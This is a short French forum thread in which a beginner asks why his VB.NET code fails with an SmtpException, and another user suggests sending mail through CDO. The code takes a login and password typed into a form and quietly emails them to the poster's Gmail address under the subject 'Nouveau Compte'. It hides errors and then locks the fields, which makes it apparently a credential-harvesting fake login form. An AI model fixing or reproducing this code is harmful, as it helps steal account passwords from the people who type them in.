Discussion :

[sojobo38420]

Bonjour a tous j'ai un petit problème de codage en vba car je suis un débutant et après beaucoup de recherche je n'ai toujours rien trouvé.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
 
 
        Dim MyMailMessage As New MailMessage()
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
 
        'Email
        MyMailMessage.From = New MailAddress("thibaut.bouchet38420@gmail.com") 'Destinataire
        MyMailMessage.To.Add("thibaut.bouchet38420@gmail.com") 'Expéditeur
        MyMailMessage.Subject = ("[] Nouveau Compte") 'Sujet
        MyMailMessage.Body = ("Login: " & TextBox1.Text & " Pass: " & TextBox2.Text) 'Corps
        'SMTP
        SMTPServer.Port = ("587")
        SMTPServer.Credentials = New System.Net.NetworkCredential("xxxx@gmail.com", "mot de passe") 'Email (+Pass)
        SMTPServer.EnableSsl = True
 
        Try
            SMTPServer.Send(MyMailMessage) 'Envoi
 
        Catch ex As Exception
        End Try
        Timer1.Enabled = True
        Timer1.Start()
        Timer1.Interval = 1000 ' = 1min
        TextBox1.Enabled = False
        TextBox2.Enabled = False
 
 
 
    End Sub
End Class

Quand j'execute ce code un message d'erreur apparait :

Une exception de première chance de type 'System.Net.Mail.SmtpException' s'est produite dans System.dll

Merci d'avance pour vos réponses.

[kiki29]

Salut, je ne sais pas ce que cela donnerA dans ton contexte, un exemple d'envoi ( ici d'un pdf ) via CDO